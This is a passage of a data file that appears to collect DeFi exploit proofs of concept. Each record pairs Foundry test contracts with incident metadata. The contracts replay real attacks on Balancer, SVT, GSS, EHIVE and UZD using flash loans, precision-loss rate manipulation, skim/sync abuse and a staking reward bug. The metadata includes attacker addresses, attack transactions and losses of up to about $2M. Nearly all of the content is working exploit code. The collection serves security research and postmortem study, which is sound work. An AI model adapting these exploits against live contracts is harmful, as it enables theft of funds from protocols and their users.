params\n ) external returns (bool) {\n bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc; // bb-a-USDC, USDC, aUSDC pool\n bytes32 bbaUSDPool = 0x7b50775383d3d6f0215a8f290f2c9e2eebbeceb20000000000000000000000fe; // bb-a-USDC, bb-a-DAI, bb-a-USDT pool\n\n // 1 drain all aUSDC from target pool\n {\n (, uint256[] memory poolBalance,) = balancer.getPoolTokens(targetPool);\n USDC.approve(address(balancer), type(uint256).max);\n balancer.swap(\n IBalancerVault.SingleSwap(\n targetPool,\n IBalancerVault.SwapKind.GIVEN_OUT,\n address(USDC),\n address(aUSDC),\n poolBalance[2],\n bytes(\"\")\n ),\n IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),\n amounts[0],\n block.timestamp\n );\n }\n\n uint256 virtualSupply = bbaUSDC.getVirtualSupply();\n\n // 2 batch swap\n bbaUSDC.approve(address(balancer), type(uint256).max);\n {\n address[] memory assets = new address[](8);\n assets[0] = address(USDC);\n assets[1] = address(aUSDC);\n assets[2] = address(bbaUSDC);\n assets[3] = address(bbaDAI);\n assets[4] = address(DAI);\n assets[5] = address(aDAI);\n assets[6] = address(bbaUSD);\n assets[7] = address(bbaUSDT);\n int256[] memory limits = new int256[](8);\n limits[0] = type(int256).max;\n limits[1] = type(int256).max;\n limits[2] = type(int256).max;\n limits[3] = type(int256).max;\n limits[4] = type(int256).max;\n limits[5] = type(int256).max;\n limits[6] = type(int256).max;\n limits[7] = type(int256).max;\n\n IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](7);\n steps[0] = IBalancerVault.BatchSwapStep(\n targetPool, 2, 0, virtualSupply - 775_114_420_171 - 20_000_000_000, bytes(\"\")\n ); // bb-a-USDC -> USDC borrow bb-a-usdc by batchswap, burn almost all virtualSupply, make rate manipulation easier\n steps[1] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 775_114_420_171, bytes(\"\")); // bb-a-USDC -> USDC swap out zero USDC due to precision loss, inflate share(bb-a-usdc) price\n steps[2] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 1e18, bytes(\"\")); // bb-a-USDC -> bb-a-DAI updating inflated prices to the cache\n steps[3] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 7300 * 1e18, bytes(\"\")); // bb-a-USDC -> bb-a-DAI profit by exchanging bb-a-usdc after manipulated price\n steps[4] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 7, 14_000 * 1e18, bytes(\"\")); // bb-a-USDC -> bb-a-USDT profit by exchanging bb-a-usdc after manipulated price\n steps[5] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 20_000_000_000, bytes(\"\")); // bb-a-USDC -> USDC Bring virtualSupply to 0, reset bb-a-usdc price to 1\n steps[6] = IBalancerVault.BatchSwapStep(targetPool, 0, 2, 150_000 * 1e6, bytes(\"\")); // USDC -> bb-a-USDC repay batch swap borrow\n balancer.batchSwap(\n IBalancerVault.SwapKind.GIVEN_IN,\n steps,\n assets,\n IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),\n limits,\n 2 ** 32\n );\n }\n\n // 3 swap bb-token to USDC/DAI/USDT\n\n uint256 repayAmount = amounts[0] + premiums[0];\n bbtokenTo_USDC_DAI_USDT(repayAmount);\n\n USDC.approve(address(aave), repayAmount);\n\n return true;\n }\n\n function bbtokenTo_USDC_DAI_USDT(\n uint256 repayAmount\n ) internal {\n bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc;\n bytes32 bbaDAIPool = 0x804cdb9116a10bb78768d3252355a1b18067bf8f0000000000000000000000fb;\n bytes32 bbaUSDTPool = 0x2bbf681cc4eb09218bee85ea2a5d3d13fa40fc0c0000000000000000000000fd;\n\n // swap bb-a-dai to DAI\n bbaDAI.approve(address(balancer), type(uint256).max);\n balancer.swap(\n IBalancerVault.SingleSwap(\n bbaDAIPool,\n IBalancerVault.SwapKind.GIVEN_IN,\n address(bbaDAI),\n address(DAI),\n bbaDAI.balanceOf(address(this)),\n bytes(\"\")\n ),\n IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),\n 0,\n block.timestamp\n );\n\n // swap bb-a-usdc to USDC\n bbaUSDC.approve(address(balancer), type(uint256).max);\n balancer.swap(\n IBalancerVault.SingleSwap(\n targetPool,\n IBalancerVault.SwapKind.GIVEN_IN,\n address(bbaUSDC),\n address(USDC),\n bbaUSDC.balanceOf(address(this)),\n bytes(\"\")\n ),\n IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),\n 0,\n block.timestamp\n );\n\n // swap bb-a-usdt to USDT\n bbaUSDT.approve(address(balancer), type(uint256).max);\n balancer.swap(\n IBalancerVault.SingleSwap(\n bbaUSDTPool,\n IBalancerVault.SwapKind.GIVEN_IN,\n address(bbaUSDT),\n address(USDT),\n bbaUSDT.balanceOf(address(this)),\n bytes(\"\")\n ),\n IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),\n 0,\n block.timestamp\n );\n\n // swap DAI to USDC, repay flashloan\n uint256 amount = repayAmount - USDC.balanceOf(address(this));\n DAI.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(DAI);\n path[1] = address(USDC);\n Router.swapTokensForExactTokens(amount, DAI.balanceOf(address(this)), path, address(this), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Balancer", "date": "2023-08", "file_name": "Balancer_exp.sol", "attack_vector": "flash_loan", "content_hash": "a7fbe74733396115", "collected_at": "2026-01-07T10:59:16.524521", "_source": "postmortems", "chain": "ethereum", "block_number": 18004651, "total_lost_raw": "~2M", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b", "attack_contract": "https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0", "vulnerable_contract": "https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0", "attack_tx": "https://etherscan.io/tx/0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d", "postmortem_url": "https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d4", "twitter_url": "https://twitter.com/wavey0x/status/1702311454689357851", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~2M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory assets = new address[](1);\n assets[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 300_000 * 1e6;\n uint256[] memory interestRateModes = new uint256[](2);\n interestRateModes[0] = 0;\n interestRateModes[1] = 0;\n aave.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2M", "keyinfo_attacker": "https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b", "keyinfo_attack_contract": "https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d", "analysis_postmortem": "https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d4", "analysis_twitter": "https://twitter.com/wavey0x/status/1702311454689357851", "funds_lost_formatted": "$2.00M", "content_richness_score": 10, "quality_estimate": "high", "title": "Balancer Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1695285435671392504?s=20\n// @TX\n// https://bscscan.com/tx/0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12\n\ninterface ISVTpool {\n function buy(\n uint256 amount\n ) external;\n function sell(\n uint256 amount\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281);\n ISVTpool pool = ISVTpool(0x2120F8F305347b6aA5E5dBB347230a8234EB3379);\n address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 31_178_238 - 1);\n }\n\n function testExploit() public {\n BUSD.approve(address(pool), type(uint256).max);\n SVT.approve(address(pool), type(uint256).max);\n uint256 flash_amount = BUSD.balanceOf(dodo);\n DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n // Buy SVT with BUSD\n uint256 amount = BUSD.balanceOf(address(this));\n pool.buy(amount / 2);\n uint256 svtBalance1 = SVT.balanceOf(address(this));\n pool.buy(amount - amount / 2);\n uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1;\n console2.log(svtBalance2);\n console2.log(svtBalance1);\n // Sell SVT for BUSD\n pool.sell(svtBalance2);\n pool.sell(SVT.balanceOf(address(this)) * 62 / 100);\n\n BUSD.transfer(dodo, quoteAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "SVT", "date": "2023-08", "file_name": "SVT_exp.sol", "attack_vector": "flash_loan", "content_hash": "d7374028e8775465", "collected_at": "2026-01-07T10:59:16.524586", "_source": "postmortems", "chain": "bsc", "block_number": 31178238, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n BUSD.approve(address(pool), type(uint256).max);\n SVT.approve(address(pool), type(uint256).max);\n uint256 flash_amount = BUSD.balanceOf(dodo);\n DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.99, "quality_estimate": "low", "title": "SVT Exploit (2023-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$24883 USD$\n// Attacker : https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d\n// Attack Contract : https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c\n// Attack Tx : https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336\n\n// @Analysis\n// Twitter Guy : https://twitter.com/bbbb/status/1694571228185723099\n\ncontract ContractTest is Test {\n address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;\n address private constant gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66;\n address private constant gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0;\n address private constant gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64;\n address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address private constant dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 31_108_559 - 1);\n vm.label(usdt, \"USDT\");\n vm.label(gss, \"GSS\");\n vm.label(gss_usdt_pool, \"GSS_USDT_POOL\");\n vm.label(gss_gssdao_pool, \"GSS_GSSDAO_POOL\");\n vm.label(pancakeRouterV2, \"PANCAKE_ROUTER_V2\");\n vm.label(dodo_pool, \"DODOPool\");\n }\n\n function testExploit() public {\n IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n swap(usdt, gss, 30_000 ether);\n IERC20(gss).transfer(gss_usdt_pool, 707_162_351_662_098_288_993_328);\n\n IPancakePair(gss_usdt_pool).skim(gss_gssdao_pool);\n IPancakePair(gss_usdt_pool).sync();\n IPancakePair(gss_gssdao_pool).skim(address(this));\n\n swap(gss, usdt, IERC20(gss).balanceOf(address(this)));\n\n // pay back\n IERC20(usdt).transfer(msg.sender, 30_000 ether);\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n\n function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {\n IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "GSS", "date": "2023-08", "file_name": "GSS_exp.sol", "attack_vector": "flash_loan", "content_hash": "449cb644d3e0128a", "collected_at": "2026-01-07T10:59:16.524624", "_source": "postmortems", "chain": "bsc", "block_number": 31108559, "total_lost_raw": "~$24883 USD$", "total_lost_usd": 24883.0, "attacker_address": "https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d", "attack_contract": "https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336", "postmortem_url": null, "twitter_url": "https://twitter.com/bbbb/status/1694571228185723099", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$24883 USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$24883 USD$", "keyinfo_attacker": "https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d", "keyinfo_attack_contract": "https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/bbbb/status/1694571228185723099", "funds_lost_formatted": "$24.9K", "content_richness_score": 7.34, "quality_estimate": "medium", "title": "GSS Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$15K\n// Attacker : https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb5\n// Attacker Contract : https://etherscan.io/address/0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b892\n// Vulnerable Contract : https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd\n// Attack Tx : https://etherscan.io/tx/0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1\n// Preparation Tx: https://etherscan.io/tx/0xd9156f507c701a09d3312e1987383c7c882df50b3127e1adfd74d74052642114\n\n// @Analysis\n// https://twitter.com/bulu4477/status/1693636187485872583\n// In the EHIVE contract, the function stake() incorrectly updates the 'staked' value before calculating 'earned'\n// As a result, an attacker only needs to initially stake 0 value of EHIVE, wait for a period of time,\n// and then stake a certain amount of EHIVE to earn a large amount of EHIVE. Subsequently, they can unstake and sell it for profit\n// @Vulnerability code\n// //Check user is registered as staker\n// if (isStaking(msg.sender, validator)) {\n// _stakers[msg.sender][validator].staked += stakeAmount;\n// _stakers[msg.sender][validator].earned += _userEarned(msg.sender, validator);\n// _stakers[msg.sender][validator].start = block.timestamp;\n// } else {\n// _stakers[msg.sender][validator] = Staker(msg.sender, block.timestamp, stakeAmount, 0);\n// }\n\ninterface IEHIVE is IERC20 {\n function stake(uint256 stakeAmount, uint256 validator) external;\n\n function unstake(\n uint256 validator\n ) external;\n}\n\ninterface IUnstake {\n function unstake(\n address _user\n ) external;\n\n function stake(\n uint256 amount\n ) external;\n}\n\ncontract EHIVETest is Test {\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);\n IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IUniswapV2Pair private constant EHIVE_WETH = IUniswapV2Pair(0xAE851769593AC6048D36BC123700649827659A82);\n address[28] public contractList;\n\n function setUp() public {\n // Start from the block when exploit contracts were deployed\n vm.createSelectFork(\"mainnet\", 17_690_497);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(EHIVE), \"EHIVE\");\n vm.label(address(AaveFlashloan), \"AaveFlashloan\");\n vm.label(address(EHIVE_WETH), \"EHIVE_WETH\");\n }\n\n function testExploit() public {\n // 1. Deploy exploit contract\n // 2. Call EHIVE stake function with amount 0\n for (uint256 i; i < contractList.length; ++i) {\n address deployedContract = address(new UnstakeContract());\n IUnstake(deployedContract).stake(0);\n contractList[i] = deployedContract;\n }\n // Jump to the time when attack was happen\n vm.warp(block.timestamp + 38 days);\n emit log_named_decimal_uint(\n \"Attacker WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n WETH.approve(address(AaveFlashloan), type(uint256).max);\n AaveFlashloan.flashLoanSimple(address(this), address(WETH), 18e18, new bytes(1), 0);\n emit log_named_decimal_uint(\n \"Attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WETHToEHIVE();\n EHIVE.transfer(contractList[0], EHIVE.balanceOf(address(this)));\n // Start exploit\n for (uint256 i; i < 27; ++i) {\n IUnstake(contractList[i]).unstake(contractList[i + 1]);\n }\n IUnstake(contractList[27]).unstake(address(this));\n // End exploit\n EHIVEToWETH();\n return true;\n }\n\n function WETHToEHIVE() internal {\n (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();\n uint256 amount0Out = calcAmount(reserveEHIVE, reserveWETH, WETH.balanceOf(address(this)));\n\n WETH.transfer(address(EHIVE_WETH), WETH.balanceOf(address(this)));\n EHIVE_WETH.swap(amount0Out, 0, address(this), bytes(\"\"));\n }\n\n function EHIVEToWETH() internal {\n (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();\n EHIVE.transfer(address(EHIVE_WETH), EHIVE.balanceOf(address(this)));\n uint256 amount1Out = calcAmount(reserveWETH, reserveEHIVE, EHIVE.balanceOf(address(EHIVE_WETH)) - reserveEHIVE);\n EHIVE_WETH.swap(0, amount1Out - 100, address(this), bytes(\"\"));\n }\n\n function calcAmount(uint256 reserve1, uint256 reserve2, uint256 balance) internal returns (uint256) {\n uint256 a = (balance * 997);\n uint256 b = a * reserve1;\n uint256 c = (reserve2 * 1000) + a;\n return b / c;\n }\n}\n\ncontract UnstakeContract is Test {\n IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);\n\n function stake(\n uint256 amount\n ) external {\n EHIVE.stake(amount, 0);\n }\n\n function unstake(\n address _user\n ) external {\n EHIVE.stake(EHIVE.balanceOf(address(this)), 0);\n EHIVE.unstake(0);\n EHIVE.transfer(_user, EHIVE.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "EHIVE", "date": "2023-08", "file_name": "EHIVE_exp.sol", "attack_vector": "flash_loan", "content_hash": "44a56c40cf2726f3", "collected_at": "2026-01-07T10:59:16.524669", "_source": "postmortems", "chain": "ethereum", "block_number": 17690497, "total_lost_raw": "~$15K", "total_lost_usd": 15000.0, "attacker_address": "https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb5", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd", "attack_tx": "https://etherscan.io/tx/0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$15K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // 1. Deploy exploit contract\n // 2. Call EHIVE stake function with amount 0\n for (uint256 i; i < contractList.length; ++i) {\n address deployedContract = address(new UnstakeContract());\n IUnstake(deployedContract).stake(0);\n contractList[i] = deployedContract;\n }\n // Jump to the time when attack was happen\n vm.warp(block.timestamp + 38 days);\n emit log_named_decimal_uint(\n \"Attacker WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n WETH.approve(address(AaveFlashloan), type(uint256).max);\n AaveFlashloan.flashLoanSimple(address(this), address(WETH), 18e18, new bytes(1), 0);\n emit log_named_decimal_uint(\n \"Attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$15K", "keyinfo_attacker": "https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb5", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd", "keyinfo_attack_tx": "https://etherscan.io/tx/0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15.0K", "content_richness_score": 9.79, "quality_estimate": "high", "title": "EHIVE Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2M USD$\n// Attacker : https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df\n// Attack Contract : https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d75\n// Vulnerable Contract : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c\n// Attack Tx : https://etherscan.io/tx/0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/peckshield/status/1690877589005778945\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1690931111776358400\n\ninterface IUZD is IERC20 {\n function cacheAssetPrice() external;\n}\n\ninterface ICurve {\n function exchange(\n uint256 i,\n uint256 j,\n uint256 dx,\n uint256 min_dy,\n bool use_eth,\n address receiver\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n IUZD UZD = IUZD(0xb40b6608B2743E691C9B54DdBDEe7bf03cd79f1c);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);\n IERC20 crvFRAX = IERC20(0x3175Df0976dFA876431C2E9eE6Bc45b65d3473CC);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 SDT = IERC20(0x73968b9a57c6E53d41345FD57a6E6ae27d6CDB2F);\n IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);\n ICurvePool FRAX_USDC_POOL = ICurvePool(0xDcEF968d416a41Cdac0ED8702fAC8128A64241A2);\n ICurvePool UZD_crvFRAX_POOL = ICurvePool(0x68934F60758243eafAf4D2cFeD27BF8010bede3a);\n ICurvePool crvUSD_USDC_POOL = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);\n ICurvePool crvUSD_UZD_POOL = ICurvePool(0xfC636D819d1a98433402eC9dEC633d864014F28C);\n ICurvePool Curve3POOL = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n ICurve ETH_SDT_POOL = ICurve(0xfB8814D005C5f32874391e888da6eB2fE7a27902);\n Uni_Router_V2 sushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n Uni_Pair_V3 USDC_WETH_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n Uni_Pair_V3 USDC_USDT_Pair = Uni_Pair_V3(0x3416cF6C708Da44DB2624D63ea0AAef7113527C6);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n address MIMCurveStakeDao = 0x9848EDb097Bee96459dFf7609fb582b80A8F8EfD;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_908_949);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(UZD), \"UZD\");\n vm.label(address(crvUSD), \"crvUSD\");\n vm.label(address(crvFRAX), \"crvFRAX\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(FRAX), \"FRAX\");\n vm.label(address(FRAX_USDC_POOL), \"FRAX_USDC_POOL\");\n vm.label(address(UZD_crvFRAX_POOL), \"UZD_crvFRAX_POOL\");\n vm.label(address(crvUSD_USDC_POOL), \"crvUSD_USDC_POOL\");\n vm.label(address(crvUSD_UZD_POOL), \"crvUSD_UZD_POOL\");\n vm.label(address(Curve3POOL), \"Curve3POOL\");\n vm.label(address(ETH_SDT_POOL), \"ETH_SDT_POOL\");\n vm.label(address(sushiRouter), \"sushiRouter\");\n vm.label(address(USDC_WETH_Pair), \"USDC_WETH_Pair\");\n vm.label(address(USDC_USDT_Pair), \"USDC_USDT_Pair\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(MIMCurveStakeDao), \"MIMCurveStakeDao\");\n }\n\n function testExploit() external {\n USDC_USDT_Pair.flash(address(this), 0, 7_000_000 * 1e6, abi.encode(7_000_000 * 1e6));\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n BalancerFlashLoan();\n\n uint256 amount = abi.decode(data, (uint256));\n TransferHelper.safeTransfer(address(USDT), address(USDC_USDT_Pair), amount1 + amount);\n }\n\n function BalancerFlashLoan() internal {\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDC);\n tokens[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 7_000_000 * 1e6;\n amounts[1] = 10_011 ether;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n }\n\n // balancer flashloan callback\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n apporveAll();\n\n uint256[2] memory amount;\n amount[0] = 0;\n amount[1] = 5_750_000 * 1e6;\n uint256 crvFRAXBalance = FRAX_USDC_POOL.add_liquidity(amount, 0); // mint crvFRAX\n\n UZD_crvFRAX_POOL.exchange(1, 0, crvFRAXBalance, 0, address(this)); // swap crvFRAX to UZD\n\n crvUSD_USDC_POOL.exchange(0, 1, 1_250_000 * 1e6, 0, address(this)); // swap USDC to crvUSD\n\n crvUSD_UZD_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to UZD\n\n ETH_SDT_POOL.exchange(0, 1, 11 ether, 0, false, address(this)); // swap WETH to SDT\n\n // @Vulnerability Code:\n // UZD balanceOf return value is manipulated by the following values\n // uint256 amountIn = sdtEarned + _config.sdt.balanceOf(address(this)); -> get SDT amount in MIMCurveStakeDao\n // uint256 